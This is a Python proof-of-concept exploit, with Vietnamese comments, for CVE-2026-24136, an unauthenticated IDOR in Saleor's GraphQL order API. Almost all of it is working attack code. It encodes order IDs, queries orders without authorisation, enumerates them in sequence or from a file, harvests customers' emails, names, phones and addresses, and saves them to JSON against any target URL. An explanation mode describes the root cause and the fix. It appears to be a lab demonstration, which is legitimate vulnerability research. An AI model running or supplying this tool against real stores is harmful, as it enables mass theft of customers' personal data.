#!/usr/bin/env python3 """ poc_cve_2026_24136.py – Proof of Concept khai thác CVE-2026-24136 Lỗ hổng: IDOR trong Saleor GraphQL API (CWE-639) Tác động: Unauthenticated actor có thể đọc PII của bất kỳ order nào Khai thác: Saleor encode Order ID dạng base64("Order:") Attacker enumerate Order IDs → query GraphQL order() API trả về PII đầy đủ mà KHÔNG yêu cầu xác thực """ import requests import base64 import json import argparse import sys # Force UTF-8 output on Windows cp125x terminals if hasattr(sys.stdout, "reconfigure"): sys.stdout.reconfigure(encoding="utf-8", errors="replace") # ─── Config ────────────────────────────────────────────────────────────────── API_URL = "http://localhost:8000/graphql/" BANNER = r""" ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ CVE-2026-24136 | Saleor IDOR – Unauthenticated PII Exfiltration """ # ─── GraphQL Query ──────────────────────────────────────────────────────────── EXPLOIT_QUERY = """ query ExploitOrder($id: ID!) { order(id: $id) { id number status created userEmail billingAddress { firstName lastName companyName streetAddress1 streetAddress2 city postalCode country { country code } phone } shippingAddress { firstName lastName streetAddress1 city postalCode country { country code } phone } user { id email firstName lastName dateJoined lastLogin isActive } total { gross { amount currency } } lines { productName quantity unitPrice { gross { amount currency } } } } } """ # ─── Helpers ───────────────────────────────────────────────────────────────── def encode_order_id(order_number_or_uuid): """Tạo Saleor global ID từ number hoặc UUID.""" raw = f"Order:{order_number_or_uuid}" return base64.b64encode(raw.encode()).decode() def decode_order_id(global_id): """Decode Saleor global ID về dạng 'Order:N'.""" try: return base64.b64decode(global_id).decode() except Exception: return global_id def query_order(order_id, token=None): """Gửi GraphQL query – mặc định KHÔNG có authentication.""" headers = {"Content-Type": "application/json"} if token: headers["Authorization"] = f"Bearer {token}" try: resp = requests.post( API_URL, json={"query": EXPLOIT_QUERY, "variables": {"id": order_id}}, headers=headers, timeout=10, ) return resp.json() except requests.exceptions.ConnectionError: print(f"[!] Không kết nối được tới {API_URL}") sys.exit(1) def _box_row(label, value, width=62): """In một dòng trong box, đảm bảo alignment chính xác.""" content = f" {label:<16}: {str(value)}" # Cắt bớt nếu quá dài để khớp với box if len(content) > width: content = content[: width - 3] + "..." print(f"║{content:<{width}}║") def _box_divider(width=62, char="─"): print("╠" + char * width + "╣") def print_pii(order_data): """In thông tin PII thu thập được với box-drawing chuẩn (không emoji).""" order = order_data.get("data", {}).get("order") if not order: return False W = 62 sep = "═" * W print("\n╔" + sep + "╗") header = f" [LEAKED] ORDER #{order.get('number')} -- {order.get('status', '')}" print(f"║{header:<{W}}║") _box_divider(W) # User / email user = order.get("user") or {} email = order.get("userEmail") or user.get("email", "N/A") _box_row("Email", email, W) if user.get("firstName"): _box_row("Full Name", f"{user.get('firstName','')} {user.get('lastName','')}", W) if user.get("lastLogin"): _box_row("Last Login", user.get("lastLogin"), W) if user.get("isActive") is not None: _box_row("Account Active", user.get("isActive"), W) # Billing & Shipping addresses for label, addr in [("Billing Address", order.get("billingAddress")), ("Shipping Address", order.get("shippingAddress"))]: if addr: _box_divider(W) name = f"{addr.get('firstName','')} {addr.get('lastName','')}".strip() _box_row(label, name, W) street = addr.get("streetAddress1") or "" if street: _box_row(" Street", street, W) city_zip = f"{addr.get('city','')} {addr.get('postalCode','')}".strip() if city_zip: _box_row(" City/Post", city_zip, W) country = (addr.get("country") or {}).get("country", "") if country: _box_row(" Country", country, W) phone = addr.get("phone") or "N/A" _box_row(" Phone", phone, W) # Order total total = (order.get("total") or {}).get("gross") or {} if total: _box_divider(W) amount = f"{total.get('amount', 0)} {total.get('currency', '')}" _box_row("Order Total", amount, W) # Order lines lines = order.get("lines") or [] if lines: _box_divider(W) for line in lines[:3]: item = f"{line.get('productName','?')} x{line.get('quantity',1)}" _box_row(" Item", item, W) print("╚" + sep + "╝") return True # ─── Attack Modes ───────────────────────────────────────────────────────────── def attack_single(order_id_raw, output_file=None): """Khai thác 1 order ID cụ thể. Nhận: - số nguyên / UUID: sẽ được encode thành base64("Order:") - base64 global ID trực tiếp: được nhận diện và dùng thẳng """ # Detect nếu input đã là base64 global ID try: decoded = base64.b64decode(order_id_raw + "==").decode("utf-8") if decoded.startswith("Order:"): global_id = order_id_raw print(f"\n[*] Target : {decoded} (direct global ID)") else: raise ValueError("not a global ID") except Exception: global_id = encode_order_id(order_id_raw) print(f"\n[*] Target : Order #{order_id_raw}") print(f"[*] Encoded : {global_id} (base64(\"Order:{order_id_raw}\"))") print(f"[*] No auth header – simulating unauthenticated attacker...") data = query_order(global_id) if data.get("data", {}).get("order"): print("[+] EXPLOIT SUCCESSFUL – PII leaked:\n") print_pii(data) if output_file: order = data["data"]["order"] _save_json([{ "number": order.get("number"), "email": order.get("userEmail"), "phone": (order.get("billingAddress") or {}).get("phone"), "raw": order, }], output_file) elif "errors" in data: print(f"[-] GraphQL errors: {data['errors']}") else: print("[-] Order không tồn tại hoặc API đã được patch.") def attack_enumerate(start=1, end=20, output_file=None): """Enumerate orders theo số thứ tự (sequential IDOR). NOTE: Saleor 3.x dùng UUID-based IDs nên sequential enumeration chỉ hoạt động nếu target sử dụng integer IDs (Saleor < 3.x). Để demo với Saleor 3.20+, dùng mode 'file' với order_ids.json. """ print(f"\n[*] Enumerating orders #{start} -> #{end}") print(f"[*] NOTE: Saleor 3.20+ uses UUID IDs – sequential mode may find 0 results.") print(f"[*] Use 'file order_ids.json' for UUID-based demo.\n") print(f"[*] No Authorization header\n") found = [] for num in range(start, end + 1): global_id = encode_order_id(num) data = query_order(global_id) order = data.get("data", {}).get("order") if order: email = order.get("userEmail") or (order.get("user") or {}).get("email", "?") phone = (order.get("billingAddress") or {}).get("phone", "N/A") name_first = (order.get("billingAddress") or {}).get("firstName", "") name_last = (order.get("billingAddress") or {}).get("lastName", "") found.append({ "number": num, "email": email, "name": f"{name_first} {name_last}".strip(), "phone": phone, }) print(f" [+] #{num:>4} | {email:<35} | {phone}") else: print(f" [-] #{num:>4} | not found / no PII") print(f"\n[*] Found {len(found)} orders with PII") if output_file and found: _save_json(found, output_file) return found def attack_from_file(filepath, output_file=None): """Khai thác danh sách Order IDs từ file JSON (output của seed_data.py).""" with open(filepath, encoding="utf-8") as f: data_file = json.load(f) order_ids = data_file.get("order_ids", []) print(f"\n[*] Loaded {len(order_ids)} Order IDs from {filepath}") print("[*] Querying without authentication...\n") leaked = [] for oid in order_ids: print(f"[*] Trying: {oid} ({decode_order_id(oid)})") data = query_order(oid) if print_pii(data): order = data["data"]["order"] leaked.append({ "number": order.get("number"), "email": order.get("userEmail"), "phone": (order.get("billingAddress") or {}).get("phone"), }) else: print(f" [-] No data (order missing or patched)") print(f"\n[*] Successfully leaked {len(leaked)}/{len(order_ids)} orders") if output_file and leaked: _save_json(leaked, output_file) def _save_json(records, filepath): """Lưu kết quả ra JSON file.""" with open(filepath, "w", encoding="utf-8") as f: json.dump(records, f, indent=2, ensure_ascii=False) print(f"[+] Saved {len(records)} record(s) → {filepath}") def show_vulnerability_explanation(): print(""" ┌──────────────────────────────────────────────────────────────┐ │ CVE-2026-24136 – Giải thích kỹ thuật │ ├──────────────────────────────────────────────────────────────┤ │ │ │ ROOT CAUSE (CWE-639 – Authorization Bypass via User Key): │ │ │ │ // Saleor <= 3.20.109 – KHÔNG kiểm tra quyền │ │ def resolve_order(_, info, id): │ │ return Order.objects.filter( │ │ pk=pk_from_global_id(id) │ │ ).first() # <-- trả về cho BẤT KỲ ai │ │ │ │ // Saleor >= 3.20.110 – ĐÃ PATCH │ │ def resolve_order(_, info, id): │ │ order = Order.objects.filter(...).first() │ │ if not requestor_is_staff_member_or_app(...): │ │ if order and order.user != info.context.user: │ │ raise PermissionDenied() # <-- chặn lại │ │ return order │ │ │ │ ORDER ID ENCODING: │ │ Order #42 --> base64("Order:42") = "T3JkZXI6NDI=" │ │ Attacker: for i in 1..N: query order(id=b64(f"Order:{i}"))│ │ │ │ ATTACK FLOW: │ │ Attacker Saleor API │ │ | | │ │ |-- POST /graphql/ ------------>| │ │ | query order(id: "T3Jk...") | │ │ | (NO Authorization header) | │ │ |<-- 200 OK: {email, phone, --| │ │ | billingAddress, user{}} | │ │ │ │ IMPACT: CVSS 4.0 = 8.7 HIGH │ │ • Email, full name, phone, address leaked │ │ • Unauthenticated – no account needed │ │ • Automated enumeration possible │ │ │ │ FIX: Upgrade to 3.20.110 / 3.21.45 / 3.22.29 │ │ │ └──────────────────────────────────────────────────────────────┘ """) # ─── CLI ───────────────────────────────────────────────────────────────────── def main(): global API_URL print(BANNER) parser = argparse.ArgumentParser( description="PoC CVE-2026-24136 – Saleor IDOR PII Exfiltration", formatter_class=argparse.RawTextHelpFormatter, ) parser.add_argument( "--url", default=API_URL, help=f"Saleor GraphQL endpoint (default: {API_URL})" ) parser.add_argument( "--output", metavar="FILE", default=None, help="Lưu kết quả PII ra JSON file (vd: --output leaked.json)" ) subparsers = parser.add_subparsers(dest="mode", help="Chế độ khai thác") # Mode: single p1 = subparsers.add_parser("single", help="Khai thác 1 order ID cụ thể") p1.add_argument("order_id", help="Order number (vd: 1, 42) hoặc UUID") # Mode: enumerate p2 = subparsers.add_parser("enumerate", help="Enumerate nhiều orders theo số thứ tự") p2.add_argument("--start", type=int, default=1, help="Order number bắt đầu (default: 1)") p2.add_argument("--end", type=int, default=20, help="Order number kết thúc (default: 20)") # Mode: file p3 = subparsers.add_parser("file", help="Khai thác từ file order_ids.json (output của seed_data.py)") p3.add_argument("filepath", help="Path tới file JSON") # Mode: explain subparsers.add_parser("explain", help="Hiển thị giải thích kỹ thuật lỗ hổng") args = parser.parse_args() if args.url: API_URL = args.url if args.mode == "single": attack_single(args.order_id, output_file=args.output) elif args.mode == "enumerate": attack_enumerate(args.start, args.end, output_file=args.output) elif args.mode == "file": attack_from_file(args.filepath, output_file=args.output) elif args.mode == "explain": show_vulnerability_explanation() else: parser.print_help() print("\n Ví dụ:") print(" python poc_cve_2026_24136.py explain") print(" python poc_cve_2026_24136.py single 1") print(" python poc_cve_2026_24136.py enumerate --start 1 --end 50") print(" python poc_cve_2026_24136.py enumerate --start 1 --end 50 --output leaked.json") print(" python poc_cve_2026_24136.py file ./order_ids.json") print(" python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ enumerate") if __name__ == "__main__": main()